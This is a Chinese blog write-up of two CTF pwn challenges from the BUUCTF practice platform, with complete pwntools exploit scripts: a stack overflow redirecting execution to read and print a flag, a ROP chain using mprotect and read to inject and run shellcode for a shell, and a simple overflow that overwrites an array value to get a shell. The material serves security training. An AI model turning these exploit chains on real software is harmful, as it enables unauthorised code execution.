首页 > 其他分享 >not_the_same_3dsctf_2016

not_the_same_3dsctf_2016

时间:2023-07-28 22:33:55浏览次数:35  
标签:addr read mprotect 3dsctf same ret p32 2016 payload

0X01

和get_started_3dsctf_2016类似

大概思路是先控制程序流到get_secret函数读取flag到f14g变量,再控制返回地址为write函数输出f14g变量的内容

from pwn import *
p = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)

write_addr = elf.sym['write']
flag_addr = 0x080ECA2D 
get_secret = 0x080489A0
payload='a'* 0x2d + p32(get_secret) + p32(write_addr) + p32(0) + p32(1) + p32(flag_addr) + p32(45)
p.sendline(payload)
p.interactive()

0x02

第二种思路

用mprotect函数修改.plt.got表内存页权限为可读可写可执行,用read函数将shellcode注入到刚才修改的内存页中,执行shellcode

from pwn import *
sh = remote("node4.buuoj.cn",25684)

elf= ELF(./not_the_same_3dsctf_2016)
pop3_ret = 0x0804f420#gadget:pop ebx; pop esi; pop ebp; ret;用来向mprotect()、read()传参
				     #ROPgadget --binary get_started --only 'pop|ret' | grep pop
#为了后续再能使用栈ret,我们得构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令,为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈完好.

mem_addr = 0x80eb000 #可读可写的内存,但不可执行
mem_size = 0x1000    #通过调试出来的值
mem_proc = 0x7       #可代表可读可写可执行

mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']

'''
为了连续在堆栈中执行,就是用pop3_ret来控制esp,使它往下弹掉已用的3个值.
'''
payload = 'A' * 45 #填充数据覆盖到ebp
payload += p32(mprotect_addr) #栈返回到mprotect()函数执行
payload += p32(pop3_ret) #执行完mprotect的返回地址,使esp往下+12

#mprotect 的三个参数 mprotect(0x080ea000,0x1000,0x7)
payload += p32(mem_addr)   #mprotect函数参数1 修改的内存地址
payload += p32(mem_size)   #mprotect函数参数2 修改的内存大小
payload += p32(mem_proc)   #mprotect函数参数3 修改的权限

payload += p32(read_addr) #执行完pop3_ret后弹到read地址
payload += p32(pop3_ret)  #执行完read后将返回到pop3_ret指令,又继续使esp+12

#read 的三个参数 read(0,0x080ea000,0x100)
payload += p32(0)     #read函数参数1 ,从输入端读取,将我们生成的shellcode读入目标内存地址
payload += p32(mem_addr)   #读取到的内容复制到指向的内存里
payload += p32(0x100) #读取大小

payload += p32(mem_addr)   #执行完read后ret esi,这里是返回到我们布置的shellcode执行

sh.sendline(payload)
payload_shellcode = asm(shellcraft.sh(),arch = 'i386', os = 'linux') 

sh.sendline(payload_shellcode)
sh.interactive()

ciscn_2019_n_8

只需要满足var[13] == 17即可getshell;__isoc99_scanf()`函数没有限制输入数据的长度

exp

from pwn import *
context(log_level='debug')
sh = remote('node4.buuoj.cn',25951)
payload = 'a'*4*13 + p32(17) #p32(17)=\x11\x00\x00\x00,16进制小端存储,0x11(16)=17(10)
#这里*4是因为4字节的数组每一项要4字节才能填满,*13是把数组前13项填满,第14项用
sh.sendlineafter("What's your name?\n",payload)
sh.interactive()

标签:addr,read,mprotect,3dsctf,same,ret,p32,2016,payload
From: https://www.cnblogs.com/imarch22/p/17589033.html

相关文章

  • get_started_3dsctf_2016
    0x00最近持续学习栈溢出,努力熟悉各种利用方法,争取这周和下周把栈溢出这块结束发现自己的WP好久没有更新了,BUUCTF也攒了好多于是,为了让自己更进一步熟悉栈溢出攻击,温故知新,同时方便自己查找(希望不是浪费时间),WP补完计划,启动!(我可不是看了孙导的奖励临时起意的)0x01IDA分析``......
  • Apache Shiro 反序列化漏洞(CVE-2016-4437)
    漏洞简介ApacheShiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。版本信息:ApacheShiro<=1.2.4漏洞名称:ApacheShiro1.2.4反序列化漏洞,即shiro-550反序列化漏洞。漏洞形成原理:1、检索RememberMecookie的......
  • 洛谷 P3291 [SCOI2016] 妖怪
    设每只怪物经过环境影响后的攻击力和防守力分别为\(x_i,y_i\),则有:\(y_i=dnf_i-\dfracba(x_i-atk_i)\)。设\(k=-\dfracba\),则有\(y_i=kx_i+dnf_i-k\cdotatk_i\)。设直线\(l_i:y_i=kx_i+dnf_i-k\cdotatk_i\),第\(i\)只怪物在\((a,b)\)的环境下......
  • P3352 [ZJOI2016] 线段树 思考--zhengjun
    有一个显然的\(O(n^3q)\)的做法:设\(f_{i,l,r,x}\)表示\(i\)次操作过后,区间\([l,r]\)的数\(\lex\),\(a_{l-1},a_{r+1}>x\)的方案数。转移:$$f_{i,l,r,x}=f_{i-1,l,r,x}\timesg_{l,r}+\sum\limits_{j<l}f_{i-1,j,r,x}\times(j-1)+\sum\limits_{j>r}f_{i-1,l......
  • 如何在 SQL Server 2016 中为可用性组配置只读路由
    SQLServerAlwaysOn可用性组概念在SQLServer2012中首次引入,作为企业级高可用性和灾难恢复解决方案,将取代数据库镜像功能。AlwaysOnAvailabilityGroup在组级别提供高可用性解决方案,其中每个组可以包含任意数量的数据库,这些数据库可以复制到多个辅助服务器(称为副本)。SQL......
  • CERC2016 Hangar Hurdles
    简单题。每个点\((i,j)\)二分处理出\(p_{i,j}\)表示在这个点上面能放的最大的集装箱大小,这部分二分就可以做到\(O(n^2\logn)\)。然后就相当于选择一条从\((A_x,A_y)\)到\((B_x,B_y)\)的路径,使得路径上\(p\)值最小的点最大。这是经典套路,对网格图建最大生成树,答案就......
  • 【863】Calculate records based on the same value
    Supposewehaveadataframe,ithasacolumnof"country".Itlistsdifferentnamesofcountry'snames,andforonecountrymaybeithasmultiplerecords.Ourtaskistocreateanewdataframewhichincludethecountry'snamesandthei......
  • 题解 P4322 [JSOI2016]最佳团体
    P4322[JSOI2016]最佳团体分数规划+树形背包。可以根据推荐关系建出一颗树,然后如果选了一点,则该点到根上的所有点都必须选。二分\(mid\),定义每个结点的权值,然后判断选\(k+1\)个节点的最大值是否大于\(0\)。设\(f_{i,j}\)为当前节点\(i\),在其子树内选了\(j\)个节点,最......
  • SQL Server 2016 KB2919355 安装失败
    WindowsServer2012R2安装SQLServer2016检查未通过,需要安装KB2919355。错误如下图: 按提示,下载安装WindowsServer2012R2更新(KB2919355),下载文件为:Windows8.1-KB2919355-x64.msu(690MB)。但是安装时又提示错误! KB2919442是WindowsServer2012R2更新......
  • 105.什么是SamesiteCookie属性
    105.什么是SamesiteCookie属性?SamesiteCookie表示同站cookie,避免cookie被第三方所利用。将Samesite设为strict,这种称为严格模式,表示这个cookie在任何情况下都不可能作为第三方cookie。将Samesite设为Lax,这种模式称为宽松模式,如果这个请求是个GET请求,并......